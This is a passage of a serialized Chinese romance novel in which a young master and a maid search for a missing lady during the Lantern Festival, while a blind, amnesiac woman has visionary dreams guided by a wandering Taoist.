就在他正内蹑手蹑脚地拿起一旁的一件水绿色披风,欲帮其御寒披上时,燕儿却忽然醒了过来,伸手一把紧紧地捉住他的一只手,瞪大了眼睛朝其激动地一边哭,一边乞求道“少爷,少爷,小姐一定出事了,她一定是出事了。燕儿求少爷救救小姐,快救救小姐啊。” 衣上俊见此,忙反手抱住燕儿的手摇晃着,朝其道“燕儿你冷静一点,听我说。我们已经在万娇阁附近寻了一整天了,都毫无音讯不是吗?‘雁过留痕,风过留声’,或许大姐,她根本就没有来过万娇阁呢?亦或者是,我们和她擦肩而过,她已经平安回府了也说不定呢…对了,不是说这万娇阁是秦王殿下亲自下令封的嘛,大姐与殿下向来熟 识,或者,殿下回去的时候也顺便将大姐一同带回去了呢…所以,眼下我们还是赶紧回府才是啊。” 闻此,燕儿果然慢慢敛了声下来,默默地抽回自己的手,坐直了身子,又用手背抹了把脸颊的泪水,定了定神说“对啊,燕儿怎么忘了呢,秦王殿下待小姐是极好的,在宫里就多次维护帮助小姐脱险。如果秦王殿下到过万娇阁,就一定会照顾小姐的。兴许…兴许小姐真的已经同殿下一道回府了。” 一念至此,燕儿忙再次转身朝向衣上俊拽住其胳膊请求道“少爷,我们这就即刻快马加鞭回去。今夜是一年一度的元宵佳节,我们务必一定要赶回府里去,燕儿真的好想念小姐啊。” “嗯。”衣上俊朝其重重地点了点头,说着便命人在这片如墨般漆黑的夜里扬鞭驰骋了起来。 “嘭”一声。 忽然,从东南角远处炸开了一朵绚丽的烟花来,随之则是接二连三,起伏不断的一整片烟花相继燃起又幻灭,幻灭又燃起,将整片宁静的夜空瞬间点亮。燕儿的心中因为听到了‘秦王’二字,已然得到释怀。这会儿忙掀起帘子来,一脸欣喜地凝视着夜空中五颜六色的繁花朵朵。 “燕儿,你整日服侍在大姐身边,有没有觉得大姐昏迷了一年后和以前不一样了?”端坐在马车里,双手附在膝上,闭目养神的衣上俊忽然发出声音道。 燕儿缓缓卸下脸上的吟吟笑意,转过头来看着衣上俊的侧脸,重复着纳闷道“小姐和一年前不一样了?” 衣上俊依然双目紧闭,回忆着静静道“以前的大姐,性格懦弱、废材、因为脸上的胎记更是自卑不堪,向来都是‘大门不出二门不迈’,估计出了衣府大门,甚至就连东南西北尚都分不清楚。对于雪儿整日里犹如是家常便饭一般的责难,更是‘打不还手,骂不还口’。更别说胆敢在我母亲和父亲面前抬头说一句话了,怕是他们的一个眼神,她都是不敢直视的。可如今却怎么……” 衣上俊说着,燕儿亦缓缓垂首着,随之陷入了一片复杂的沉思之中。 半晌后,衣上俊舒了口气,终于睁开眼睛,看向燕儿复杂的表情,道“大姐醒的那夜,都发生了些什么,你是最清楚不过的。大姐她……真的还是她吗?” 不知为什么,燕儿听到了这句,忽然惊地猛抬起头来,盯视着衣上俊满是质疑的眼神,许久,竟怔着一动都不敢动。 衣上俊此时所怀疑的,燕儿不是没有怀疑过。 当她的小主人再次清醒过来的时候,完全颠覆了之前她所有对其的映像。但不可否认的是,这个小主人,除了面相以外,还真是再没有一样是和之前相同的。 但让她更不可否认的是,她更喜欢如今的小主人,她是那样的坚韧、善良、有个性。对,就是有个性,如今的小主人,敢爱敢恨,更加豁达,有担当,再也不畏首畏尾,怨天尤人。 可此时经衣上俊这一盘问,却让燕儿忽然想起衣上云曾经难得激动地对自己所说过的一句话来,“小姐曾说,曾说……” “说什么?”衣上俊见燕儿吞吞吐吐,像是真的知道些什么,便着急地催问道。 燕儿抿了抿嘴,又吞了一口口水,露出一脸难色,左顾右盼,岂料似是始终都难以避开衣上俊此时势要打破砂锅问到底的决心,便皱着眉头认真道“少爷,你保证,这句话,你绝对不会告诉任何人,燕儿才敢说。” 衣上俊叹了口气,默看了燕儿的眼睛一会儿,道“事到如今,莫非你还不信我?以前浑浑噩噩地胡乱度日,是我的错。可这次若没有大姐,便不会有我衣上俊今日的觉醒,我发誓,这辈子,都不会做对大姐不利的事。” 闻此,燕儿方才似是有些安心了下来,咬了咬牙便回忆着缓缓道“小姐曾说,‘其实…我不是你家小姐,早晚我都会离开这里的。’” “大姐她,她真的这样说?”闻此,衣上俊皱眉着急地问。 燕儿怯怯地朝其点了点头。 衣上俊低头闭眼默想了一会儿,忽似心中又想起了什么,睁眼愣了一下,又问燕儿“你有没有听过街上的人议论的一件事情?” 燕儿放眼过去,朝其迷惑地问“街上人?他们议论什么?” 衣上俊抬头,表情极其严肃地看着她说“有很多人在议论,说大姐醒来的那天夜里,有人看到府中后院的空中,从天而降一道灼眼的光芒,这光芒宛若一只七彩凤凰虚影,它最后落入了大姐的阁楼上。” “七彩凤凰虚影?小姐的阁楼?……不可能。”燕儿一脸不可思议地摇着头坚决否认道。 她虽是真的没有见到,亦没有听过,只是听着此时耳边这貌似玄之又玄的诡异之象,便已情不自禁地缓缓环抱起自己的双臂来,感到一股冷飕飕的凉风袭入了她瘦小的骨髓之中,她怎么都不相信她的小主人是受到了什么异物的迷惑。 自此许久,俩人都伸手掀开车窗帘来眼睛悠长地望向了车外寂静的夜空,各自若有所思地沉默着不再做声。 岂料当马车行至一条小河道的拐角时,忽然来了个紧急刹车,衣上俊反应迅速,忙紧紧抓住了车内横栏,而燕儿则未来得及抓住任何东西,直接撞上了车厢,顿时现出一脸痛楚难当。 见此,衣上俊立刻朝着前面驾车的小厮怒吼道“怎么回事?” “少爷,有俩位姑娘摸黑突然出现,拦住了去路。”驾车的小厮忙道。 “是谁这么大胆,竟敢阻拦本少爷的车子。”说着,他便一把撩起车门帘来一跃而下。 借着手里驾车小厮递过来的一盏微弱的灯火光照,俩个女子忙上前来朝衣上俊躬身行礼致歉“公子,真是对不起,我们姐妹俩在此附近寻人,误了时辰。请问可否捎带我们到前面的集市上呢?” 第二百二十八章:生死相随的誓言 “少爷,有俩位姑娘摸黑突然出现在前方,拦住了去路。”驾车的小厮似是仍旧尚还惊魂未定地忙答话道。 “是谁这么大胆,竟敢阻拦本少爷的车子。”衣上俊一听,却当即一把撩起车门帘来,纵身一跃而下,直朝着黑夜里挡住马车去路的两名女子厉声喝道。 借着驾车小厮递过手里来的一盏微弱的灯火光照,俩个女子这才忙上前来朝衣上俊躬身行礼致歉“公子,真是对不起,我们姐妹俩在此附近寻人,不想误了返程的时辰。请问公子可否捎带我们到前面的集市上呢?” “你们……你们这俩个胆大包天的女子,更深露重地在这荒郊野外里,鬼鬼祟祟地做什么,难道就不怕遇到坏人吗?”这事若是放在以前,衣上俊绝对不会如此好的耐心,定是不加思量,直截了当地厉声将其轰走,然此时话刚到了嘴边,不知为何心里却突然莫名地浮起了衣上云的影子,便立刻改口温和了起来道。 “公子真的误会了,我们姐妹二人真的是在沿河寻找一个落入水中失踪了的朋友,本来一起还有许多其他人同行,只是后来都分头寻找的时候,我二人没有按时到此来聚头,所以便走散了。我们真的不是坏人,就请公子行行好。我们已经一整天都滴水未进了,走到这里,已经实在是走不动了,这才斗胆拦了公子的马车,还请公子恕罪。” 一个本地口音的黄衣女子搀扶着另一虽然虚弱地已不能说话,但看起来依旧颇有气质的青衣女子诚恳地道。 衣上俊正在思量,马车里的燕儿闻声急急掀开车帘,探出脑袋来一看,见是俩个柔弱女子,便立马开口替其求情道“少爷,佛家有云‘救人一命,胜造七级浮屠’,又云‘前世五百次的回眸,才换来今生的擦肩而过’。今儿咱们既然有缘与二位姑娘相遇,若是视若无睹,见死不救,将她二人留在这荒郊野外里,该是有多危险啊。捎她们一段儿到前面的集市上,对于我们而言,只不过是举手之劳,少爷又何必迟疑呢?再说了,少爷如今已然武艺非凡,今夜又正值元宵佳节,如此‘良辰美景’之下,‘英雄救美’少爷又何乐而不为呢?” 不知不觉间,燕儿竟不知何时已悄悄下了马车来,静静地站在衣上俊的身旁,眼睛直勾勾地盯视着他此刻脸上极为复杂的表情变化,由一脸怒色渐渐转为不知所措,亦或者是在其脸上极为难得一见的某种羞涩。 燕儿挑着眉故意用自己的胳膊肘朝着他的臂上碰了碰,继而又对其使了个坏坏的眼色,衣上俊便立马现出一脸不耐其烦地摆了摆手,直嚷嚷道“好吧,好吧,都上车吧。” “谢谢公子,谢谢公子……”黄衣女子闻声,随即一脸欣喜。一边连连朝其道谢,一边在燕儿的帮助下,将虚弱极了的青衣女子扶上了马车安顿好。 衣上俊则与驾车的小厮一同坐在了马车前面,几人继续扬鞭驾起车来,缓缓消失在一片夜雾之中,朝着前方的一片灯火通明之处驶了去。 然不知为何,衣上俊的心里却忽然 扑通扑通地一直跳个不停起来。 不止如此,这一路沿途之中,他还不止一次地总忍不住回过头去,透过车门帘来细细地打量车内的黄衣女子的一举一动。 而却在那黄衣女子不经意间亦透过了同样的视线,将目光落在他的脸上,朝其嫣然一笑时,衣上俊却忽然感觉自己像是要窒息了一般,一阵从未有过的酥麻感油然而生,忙回过头去。 岂料这一切,都被静默在一旁的燕儿怔怔地看在了眼里,她顿时朝其露出了一脸极具诡异的笑来。 当衣上俊一撞上燕儿特意扮给他的一个鬼脸时,便赶忙缩了回去端坐好,脸上却浮起了一抹甚是好看的绯红羞涩来。 这时,燕儿方才转眼瞟了一眼那已沉沉昏睡过去的青衣女子,继而又笑着开口问那黄衣女子道“不知俩位姑娘的名字是……” 黄衣女子忙开口回道“哦,我叫兰香,家就住在前方的那个集市上。这位是我的结拜姐姐,唤作玉娘。” 燕儿瞬时笑着嘴里喃喃重复道“‘兰香’‘玉娘’,名字可真好听…对了,方才听姑娘说,你们也是在寻人,对吗?” 闻此,兰香叹了口气,继而一脸黯然地道“唉,一言难尽啊。怎么?听你的口气,莫非你们也是在寻人吗?听口音,好像你们不像是城南本地人。” 燕儿抿了抿嘴,嘴角虽然挂着一丝笑容,却似是有着许多无奈地说道“实不相瞒,我们是打城西来的。我和我家少爷此行是为了到城南万娇阁里寻回我家小姐。岂料到此以后,万娇阁却是人去楼空,就连门都给封了。” 闻此,兰香显得非常着急地忙开口关切地问“那可有找到你家小姐了?你家小姐又怎么会沦落到这种地方呢?” 燕儿这才忽然发觉她的这一席话,兰香一定是误解了些什么,便忙朝其摆了摆手,连连解释道“不是姑娘想的那样,我家小姐是正经人家的千金小姐,她来这里也是为了寻人的。虽然我和我家少爷没有找到小姐,但估计是小姐她和秦王殿下已经一道回去了,只是我们路上错过了而已。所以这不,这会儿我们正准备着要快马加鞭地连夜赶回到城西去。” “城西来的?千金小姐?来万娇阁里寻人?秦王殿下?……你家小姐可是叫做衣上云?长的个子高挑且清丽脱俗,脸上整日里蒙着一纯白面纱?”兰香一边回忆,一边细细琢磨,重新组织拼凑着这些信息的片段后,似是心里隐隐有着一丝怀疑,吃惊地问道。 闻此,燕儿和马车外的衣上俊几乎同时一起转头将目光落在了兰香的身上,异口同声地惊道“你见过她?” “你见过我家小姐?” 兰香顿时被这二人充满希冀的目光,惊得一时间竟不知该如何回答。 见此,燕儿忙伸手附在兰香的臂上将其圈起,一脸期盼的笑着追问“姑娘,您一定见过我家小姐是吗?您也见过秦王殿下对吗?我家小姐一定是已经跟随秦王殿下的人马一起回去了,对不对?” 沉默了 半晌后,兰香似是终于鼓足了勇气,倒吸口气一脸严肃地道“实不相瞒俩位,我们所有人都没日没夜地已经寻了好几日的人,正是你家小姐衣上云。” “寻找我家小姐…已经好几日了?姑娘这话是什么意思?”燕儿的心里不禁浮起一抹极不好的预感,就连说话的声音亦变得愈来愈低。 就在这时,见到燕儿已然如同失魂落魄了一般地怔愣住,衣上俊一手撩起车门帘来继续问道“家姐在城南究竟发生了什么事?秦王殿下他如今人又身在何处?姑娘有话不妨直说。” 于是,兰香深深地叹了口气,将衣上云到了万娇阁后发生的所有事一五一十地对其细细说了起来…… 话音刚落,只见衣上俊的眉头愈皱愈紧,其附在腿上的和另一只攥着车窗帘的拳头亦愈握愈紧。 正待发作,不想燕儿却先忽然炸出了一句“你胡说,我家小姐才不会死呢,她那么善良。我讨厌你。我家小姐对你这么好,你怎么能咒她死?” 嘴上说着似是这个世上最坚强和深信不疑的话,心里防设却早已彻底坍塌的燕儿,伤心地俯身趴在自己的膝上哭了起来“呜呜呜……” 兰香看着她痛苦无助的模样,极不忍心,忙连连打着自己的嘴巴子朝其致歉道“呸呸呸,是我一时失言了。‘好人有好报’‘吉人天相’,相信衣姑娘一定能够逢凶化吉的,她一定还好好活在这世上的某一个角落。” 靠在车厢上,仰头望着那星星点点的夜空默了许久,衣上俊强忍住心头的悲伤,回过神来问“秦王殿下,他真的已经同公主和太子一道回王府了吗?” 兰香眉头蹙起,望着他的背影静静地道“秦王殿下为救云儿身受重伤昏迷不醒,情况十分危急,公主不得已而为之,临行前将大部分人马留在了城南,用来通知并帮忙寻觅碧水湖湖道沿途所流经的所有分支,地毯式搜索寻找云儿的下落。不仅如此,这几日秦王府又源源不断地增加派出了许多精兵来城南,只是…至今都还没有关于云儿的任何消息,我们真的尽力了。” “不行,此事过于重大,我必须即刻回府将其告知父亲大人。”衣上俊严肃地道。 岂料燕儿猛地坐起身来,信誓旦旦地坚决扬声道“不,燕儿不回去,燕儿要留在这里同大家一起找寻小姐。无论她到底是谁,她都是燕儿唯一的小主人。小主人生,燕儿便生,小主人如若真的已经…无论如何,燕儿都要与小主人生死相随,绝不让她孤孤单单的一个人。” 思索片刻,衣上俊道“也好,那你便留在这里与兰香姑娘她们一起寻找大小姐的下落吧。你从小一直伺候在大姐左右,或许能帮得上忙。我连夜赶路回去与父亲商议一下,幸好能有秦王殿下的力量相助。” “谢谢少爷!”燕儿连连朝其道谢,一双小手与兰香紧紧地握了起来。 然衣上俊却在一片寂静中,心里默默地祈祷着,希望老天开眼,对那个命运多舛的纯良女子仁慈一点,再仁慈一点…… 第二百二十九章:良辰苦短,时光莫负 皓月当空、烟花漫天、锣鼓喧嚣。 各式各样的花灯犹如百花争艳般流光溢彩,高悬于五彩缤纷的街头。而最壮观亦是最引人注目的自是当属于那条蜿蜒于城中江畔的惟妙惟肖的庞然大物火龙灯。 伴随着愈来愈接近这一片热闹的近乎于是沸腾了的万家灯火,又穿过了满街的人群,马车很快便停在了万娇阁附近的一条深巷里,一小门小户的人家门前。 安全送达了三个女子之后,衣上俊推推攘攘地将身上的盘缠几乎是全数都塞给了丫鬟燕儿,语重心长地又叮嘱交待了几句,再对兰香诚心诚意地致了谢,方才独自匆匆踏上了继续返家的路途。 此时,燕儿在兰香的搀扶陪伴下站在门口,吹着依稀还有些凉飕飕的夜风,望着马车离去渐行渐远的背影,口中默默地兀自喃喃叹道“少爷,真的是和从前不一样了。” 兰香扶着燕儿的手,跟随着她的目光亦看着马车的背影,闻声又收回视线看了看燕儿的脸,似是有些好奇地问道“哦?你家少爷和从前不一样了?那他…以前是什么样,如今又是什么样呢?” 燕儿这才收回视线,继而又对着兰香笑了笑,俩人便一边回头跨过门槛去朝屋里走,燕儿一边悠悠道“以前的少爷整日里吊儿郎当、桀骜不驯,又无所事事。可如今的少爷不但知道求上进,变得温润了许多,也颇有责任感,最主要的是,如今他竟然动不动就一口一个大姐地叫起我家小姐来了,如果小姐知道了,那该有多开心啊……小姐。” 岂料一说起她的小主人来,燕儿的眼里顿时又噙满了泪水,借着院子里微弱的灯火照下,那滴滴泪花在那张嫩小的脸庞闪烁着,清晰可见。 “好了,好了,如今衣姑娘的护身符来了,有燕儿的帮忙,相信我们很快便就会有姑娘的消息的。”兰香见了,一边帮其用丝帕擦拭脸庞上的眼泪,一边宽慰劝她道。 岂料燕儿竟开口反驳道“‘护身符’?小姐的护身符怎么可能是我一个小丫头呢?” “不是你?那还会是谁啊?”兰香好奇地道。 燕儿沉默了片刻,稍作回想,忽然似是也不特别确定地道“小姐的护身符应该是……秦王殿下……亦或是一个叫易三少的人……” “哦?这听起来怎么像是很有故事的样子。你不妨…说来听听。”兰香打趣地笑道。 俩个女子就这样,一边愉快又融洽地热聊着,一边匆匆进了屋里去。 月光下的小院角落上,几株海棠与红梅一齐在这喧闹的夜里静静地绽放飘香着。 而屋内,俗话说‘家有一老,如有一宝’的兰香的外婆,早已为其准备好了一桌丰盛的元宵节团圆饭,自然少不了那碗象征团团圆圆的热气腾腾的元宵了。 经历了过去的种种磨难,这户人家也算是终于真正地雨过天晴,可谓是‘人圆月圆花更圆’。 透过红烛照耀在窗户上所映出的影子,尽现 出屋内的人们一片其乐融融的美好之象,大家亦都祈愿这摇熠的红烛能早日带来她们所期待的好消息。 而相对于城里的一片喧嚣浮华而言,在桃花店村里,却独有着一番‘繁花似锦觅安宁,淡云流水度此生’的避世惬意滋味。 村子里的花灯样式自是不及城里的,多数都是以兔子灯为主。 因为朴实无华的庄稼人,祖祖辈辈都把兔子视为吉祥之物,以此来迎神接福,人们借此祈求天上众神灵的庇佑,期盼着来年能五谷丰登、人畜兴旺、全家安康。 人们始终坚信,兔子灯走过哪里,就意味着把吉祥和好运带到了哪里。 “据说,今夜凡是走过了村子里所有桥的人,便都能逢凶化吉,消除百病。”出了门以后,失忆又失明了的女子便被欢儿紧紧地牵着手。一路上,滔滔不绝又惟妙惟肖地替其一一讲解着沿途自己的所见所闻,女子亦侧着耳朵仔仔细细地洗耳恭听着。 只是,她心中隐隐觉得欢儿所正在描述的这个风俗,貌似自己好像在哪里听过的‘走三桥’一般? “火树银花触目红,揭天鼓吹闹春风”。夜幕初降,皎月升起,漫山遍野像是披上了一层银白色的轻纱。灯月交辉,甚是五彩缤纷。 许是因为是乡下空气更为清新的缘故,那盏盏灯儿所发出来的光,似是要更加明亮和耀眼。 相约一起过桥的人群,手里都拎着一盏闪闪烁烁的兔子灯,亦宛若一条气势磅礴长长的游龙一般,尽是一片火红的灯的海洋,令人目不暇接,眼花缭乱,他们将其脚步今夜留在了这片沸腾了的大地上的每一个角角落落。 “谁家见月能闲坐,何处闻灯不看来。”这样的阵势,自是吸引了许许多多人的出门观望。 都说九曲黄河十八弯,但游灯的人们,谁也不知道自己究竟拐了多少个弯。转了多少个圈,只觉是忽左忽右,忽南忽北…… 兴趣盎然中,只见灯海锦簇,万头攒动,无论是站在一旁看灯的,还是身处其中游灯的。脸上不约而同地无不都洋溢着无尽的幸福和喜悦,嘴里一遍遍重复齐声高呼“游灯笼,添油哩,三十晚上过年哩……”。 许是因为此时的欢儿,对这难得的热闹场面,心里太过于激动和兴奋了,一不小心没留神,在游灯的队伍经过其身边的时候,手里牵着的稍有些被自己放松了的失明失忆女子,竟被路人无意中撞了一下,那女子便顿时身子打了一个踉跄。 欢儿见了,惊的忙一把及时将其扶稳住。 那撞到了女子的姑娘自知自己惹了祸,便顿足下来一脸慌乱,这才看到被自己所撞的女子两眼呆滞,竟是个盲人。 随即赶快弯腰对其连连致歉道“对不起,对不起,你没事吧?” 欢儿正欲发力教训那姑娘,女子忙一把将其紧紧捉住,笑着对那姑娘道“不碍事,不碍事,是我自己的问题,我的眼睛受了伤,变成这个样子,着实不该出 来打扰了大家的好兴致。” “来,这个送给你。既然是生病受伤了,那就更该游灯走桥了,包治百病,真的很灵验的哦……你可以让你身边的这位姑娘扶着你,跟在队伍的最后面慢慢走。”那有些俏皮的姑娘凝视着女子的脸片刻,抿了抿嘴,灵光一闪,便将自己手里拎着的两只活灵活现的兔子灯让了一只递到了女子的手中。 女子正欲开口拒绝,那俏皮姑娘便如一只翩翩蝴蝶般冲着欢儿抿嘴一笑,转身飞走了。 欢儿接过女子手里的灯,向着周围望了一眼,关切道“姑娘累了吧,这里有个如梦亭,我们在这儿坐下来歇会儿。” 女子颔首对其笑了笑,便随之将其扶进了一座名曰‘如梦亭’的凉亭里坐定。 这时,如墨般漆黑的夜空里,‘嘭’的一声,忽然被一阵绚烂烟花瞬时点亮,流光溢彩,洒满天际,甚是耀眼。 欢儿忽地起身仰起面来,一脸欣喜和痴迷地对着其啧啧叹道“好美啊!” 如梦亭边,一架设在水流湍急的河岸边的水转筒车,在那巍峨起伏,郁郁葱葱的青山背景下喷珠溅玉着。在浇灌了村里的农田作物的同时,也成了这村子里的一道靓丽风景,与这山、这亭、这一切构成了一幅绝美的田园春色图。 而此时,女子静静地坐在亭中一边上,回想起至今她唯一所记得的,身边这日里所发生的一切,不禁蓦然地口中低吟道“东风夜放花千树,更吹落,星如雨。宝马雕车香满路,凤萧声动,玉壶光转,一夜鱼龙舞。蛾儿雪柳黄金缕,笑语盈盈暗香去。众里寻他千百度,蓦然回首,那人却在,灯火阑珊处。” “姑娘念的是谁的词?欢儿怎么没听过,听起来甚美…‘东风夜放花千树,更吹落,星如雨……’” 欢儿闻之,睁着一双圆圆的大眼睛转身一脸好奇地看着女子问道,不禁亦嘴里重复了起来。 女子微微抿了抿嘴,一脸温柔似水地朝着欢儿发出声音的方向笑了笑,却道“欢儿,你也去同大家一起游灯走桥祈福吧。我在这里等你,不会有事的。元宵节,一年难得一度。” 欢儿毕竟还是个孩子。闻之,心里自是巴望不得,可心中却终是难免留有一丝隐隐的不放心。 因为沉默,女子似是感觉到了她的担心,坚持劝她道“欢儿放心去吧,我可以的。人生漫漫,无论如何,我总要试着依靠自己。良辰苦短,莫要辜负了今夜这好时光。” 欢儿又想了想,开口说道“那…姑娘就好好呆在这里,哪里都不要去,等着欢儿回来带你回家。” 女子点点头,对其笑着道“嗯,你去吧,我都这样了,还能去哪里呢?” 于是,欢儿一把拎起了地上放着的,方才那位虽冒冒失失但的确甚是俏皮可爱的姑娘所赠的一盏兔儿灯,便急急飞出了如梦亭,朝着游灯走桥的队伍追了去。 “说的好,说的好……”这时,忽然出现了一位…… 第二百三十章:如梦亭,大梦经年 东风夜放花千树,更吹落,星如雨。 正月十五元宵夜,是新的一年中的第一个月圆之夜。当朵朵耀眼的烟花绽放在了深邃的苍穹,今夜过后,便意味着过去的一年就此被真正画上了句号。 就在欢儿前脚刚刚兴奋地追逐着游灯走桥的队伍而去,如梦亭的台阶下,忽然出现了一位一袭青色道袍,年近六旬满脸白须的老道儿。 只见他一手举着“算命卜卦”布幡,另一手捋着那嘬短须,面带微笑不住的冲着如梦亭里的女子像是颇为满意的连连点了点头,继而扬声说道“说的好,说的好…好一句‘人生漫漫,无论如何,总要试着依靠自己。’” 亭内女子闻声,先是顿时朝其声音方向一怔,继而惊讶地开口问道“是谁在那里说话?”然心里却隐隐觉得这声音听着似是有些熟悉,仿佛在哪儿听过一般。 这时,青袍老道方才拿出一个铜铃铛来,将其不紧不慢的摇了摇,继而一边缓缓迈步走上了台阶进了如梦亭里,一边嘴里喊了两声:"算命,算命,不准不要钱……” “原来是位游走四方的道长,小女子方才真是失礼,失礼了。”女子抱歉地说着,便急急胡乱地摸索着欲要起身来向其躬身致歉。 青袍老道见了,忙将其按下,道“小姐身体多有不便,无须多礼。贫道亦只是被这里今夜犹如世外桃源一般的良辰美景所吸引,游走乏了,不知可否与小姐同借此如梦亭稍作歇息呢?” 女子忙笑着道“当然可以,这亭子建在路旁,本就是为了供所有来往行人歇脚的地方,道长尽管自便。” “既然如此,那贫道就多谢小姐不弃了。”青袍老道亦笑着回应其客气道,紧接着,便将手里的布幡靠在凉亭一边的朱红色柱子上,落座下来。 通过一番近距离细细的端详打量后,青袍道长问道“敢问小姐的芳名为何?可是本地人士?这更深露重的,为何独自一人在此歇脚?” 女子笑了笑,稍作思量后,只开口道“我是同欢儿一起出来逛街的,因为今日正值良辰佳节,我不能因为自己的原因让欢儿的节日亦过的不快活。所以,便让她跟着队伍一起去游灯走桥了。而我…因为眼睛的关系,便只能待在此处等她回来了。至于我的名字和其他,实不相瞒…这位道长,其实我不但失明…而且还失忆了。所以,并不知自己姓谁名谁,家住何方?又发生了什么事?只听救起我的那位老夫人说,我是于几日之前,一个霹雳漫天,大雨滂沱的夜晚,被河水冲落至此的。” “原来如此,没想到小姐的命运竟如此多劫多难!”青袍老道听了叹息道。然却放眼过去只见女子的脸上依旧挂着平和温柔的一片浅笑,甚美。 那道长凝视着面前这个坚强乐观的女子,半晌后说道“方才贫道在凉亭外听闻小姐所言颇为自强自力,甚是佩服。其实,人生有很多时候都是‘塞翁失马,焉知非福’。小姐为何不试试,不用自己的眼睛去看,而是用自己最纯净的心 去感受这个世界,也许你会看到更多之前从未见过的东西。” “之前从未见过的东西?”女子闻之,眉头微蹙纳闷地道。 “小姐不妨试一试贫道所说?”青袍道长朝着周围的一片寂静扫了一眼,神秘的说道。 女子稍作思量,依照青袍老道所言,屏气凝神试着慢慢放松了下来,忘却身边所有的喧嚣与存在,直至仿佛进入了一场沉沉的睡梦当中。 就在这时,青袍老道缓缓起身来踱步近身到女子身旁,慢慢地伸出一只手掌来,朝其头部的伤处开始运功,将其真气源源不断地灌输进女子的体内。 而在女子的梦境里,首先浮出了一条人头攒动,车水马龙的宽阔大道来。接着在一套将窗外江湖美景尽收于内的采光极好的挑高复式楼里,出现了一身着紫色桑蚕丝浴袍,身姿曼妙,凝脂红唇,洗尽铅华呈素姿的活色生香白肤女子。不知为何,那女子突然栽倒在了地上。此刻,她就站在距离女子只有几步之遥的边上,想要去将她扶起,却什么都做不了,双手捧起的仅是空空如也。于是,她蹲身在女子面前,又想努力地看清楚她的脸,却是越努力反而越模糊不清。忽然,俩人面前现出了一道刺眼的光芒来,光芒之中又渐渐现出了一道墙,随着这墙越来越清晰,犹如一扇奇特的时空之门被渐渐地打了开来,地上的女子便瞬间晕了过去,光芒消失。 梦境变换,在一悬崖边上,一位看起来美貌与气质颇为不凡的即将临盆的妇人,被几名黑衣蒙面壮汉向着悬崖边上步步逼近着。退无可退之际,那妇人恋恋不舍地看了一眼不远处藏身着的一男孩身影,将双脚轻轻抬起,闭眼纵身一跃,便落入了悬崖之中。看着这一切惨剧发生的自己,急急伸手出去想要捉住那妇人,却是同样地什么都没能捉住,便亦随之轻飘飘地落入了山崖。在悬崖的半山腰,一陡峭山壁上,有一男一女正在采药,将那妇人救了下来,不料被告知大人和孩子只能保住其中一个。那妇人毫不犹豫地选择生下孩子,将其拜托给那一男一女之后便咽了气。 梦景再闪,转眼间,那一男一女已将那妇人的遗孤抚养成人。一日里,那名遗孤在一座看起来她有些熟悉的府邸里的荷花池旁喂鱼,忽然看到了池塘里有一只七彩凤凰在朝自己眨眼睛,一时受了惊吓,不慎落入水中。而站在这名遗孤身旁的她,几乎是同一时间伸出手去想要将其拽回来,无奈却只能眼睁睁地看着那遗孤拼命地拍打着池水,直至沉入池底,水面不再有任何一丝涟漪和水花。待其被府里的人救起之后,从此便一直昏迷不醒。 直到一年以后,有一日夜里,雷声轰隆隆,倾盆大雨一泻而下,一道道耀眼的闪电划过夜空。突然从天而降一道灼眼的光芒,宛若那只栖息于池水中的七彩凤凰一模一样。但这次,它却是高高地盘旋在夜空,伸展开它那美轮美奂的凤凰羽翼,俯身而下坠入了这府邸后院的阁楼上。这一夜,妇人的遗孤终于醒了。 梦境的最后,同样在那即将临盆的 妇人所坠入的悬崖边上。那妇人的遗孤亦不慎落入其中,这次,她却被一张面孔上的线条冷峻威严似是天人一般的男子紧紧拽着,那男子趴在悬崖边的荆棘丛中,鲜血顺着他的胳膊一直流了下来,却仍一动不动地坚持着。直至最后,那连接他们的一根树枝突然间被外力作用而断裂开来,二人一起相拥坠入崖中。 这时,立在女子身边,双目紧闭着对其运功的青袍道长,面色渐渐现出来许多虚弱,而女子的额头上亦已经渗出来好多细细的汗珠。然口中却忽然恍若梦魇一般地喃喃低语起来道“命里有时终须有,命里无时莫强求、因果轮回、百世契约、花开花落、既来之则安之。” 闻此,青袍老道立即收回了功力,将眼睛缓缓睁开来,撩起袍角坐回到方才的位置。 继而,只见女子亦深深地做了一个沉沉的呼吸,似是终于从沉沉的梦境里醒了过来。随即将眉头蹙起,一脸佩服却也带着满腹疑惑地问道“道长所言果真不虚,用心去感受这个世界,我真的看到了好多从未见过的画面,只可惜一切却都只是模模糊糊,甚至似是都有些真假难辨。” 青袍老道闻此,捋着胡须,颔首微笑着道“真真假假,虚虚实实,这个世界本就都只是镜花水月,到头来,都不过是浮云一场而已。” 女子闻之笑了笑,转瞬却又一脸失望和痛苦地道“梦境里,我看到了许多面临危难的女子,可我眼睁睁地看着她们,却救不了她们,甚至就连她们的样貌都不曾看清,只能任凭她们死去。” 青衣道长答曰“每个人的生死轮回,前世今生,皆都早已注定,然世人却总是如此执迷不悟。但凡是人们越想要努力抓住的东西,越在意的东西,便越是抓不住,留不下。这便宛若是一只沙漏一般,你的拳头握得越紧,它便流失地越快,你所能抓住的便亦就越少,直至最后,两手空空。” 女子沉默了一会儿,忽然摸着自己的胸口,道“但是,在梦里见过了那些之后,我的心忽然好痛,好无力。” 青袍老道捋了捋白须,稍息片刻道“你之所以救不了她们,是因为事发那时你们的缘份未到。可你虽救不了梦里的她们,但却可以因为她们而有缘救这世上更多身于水火之中的人。沙漏于手,最重要的便是乘着它尚且还紧握在你手中的时候,珍惜一切相遇和拥有的时刻。一切随缘,不逃避,亦不强求,道法皆为自然。” 此时满心尽是因此大梦一场而黯然神伤的女子,怕是一时间也无心参悟此尽含深意的话,只想着,这明明是一位道长,却为何开口闭口之间,更像是一佛家人之语呢。 思索片刻,因只是与其初次见面并不相熟,亦不好细问,便转念又问“敢问道长‘命里有时终须有,命里无时莫强求、因果轮回、百世契约、花开花落、既来之则安之。’,这句话又该做何解呢?仿佛我在哪里听过一般。” 岂料那青袍老道闻此,却忽然开口大笑起来“哈哈哈……” 第二百三十一章:神秘的还魂丹 青袍老道大笑一声道“哈哈哈……听过此话如何,不曾听过又如何?知道了它的涵义,小姐无非就是感到幸福或者痛苦罢了,那又能改变什么?人们现在的幸福和痛苦,不一定就是今生的因缘所造成的。同样,现在的因所造的果,亦不一定能在今生得到成熟,因果本无始。佛曾经问其弟子:世间何为最珍贵?弟子答曰:已失去和未得到。佛不语。经历数载过后,沧桑巨变。佛再问之,答曰:世间最珍贵的莫过于正拥有!人之所以痛苦,在于追求着错误的东西。所以,一念放下,万般自然。” 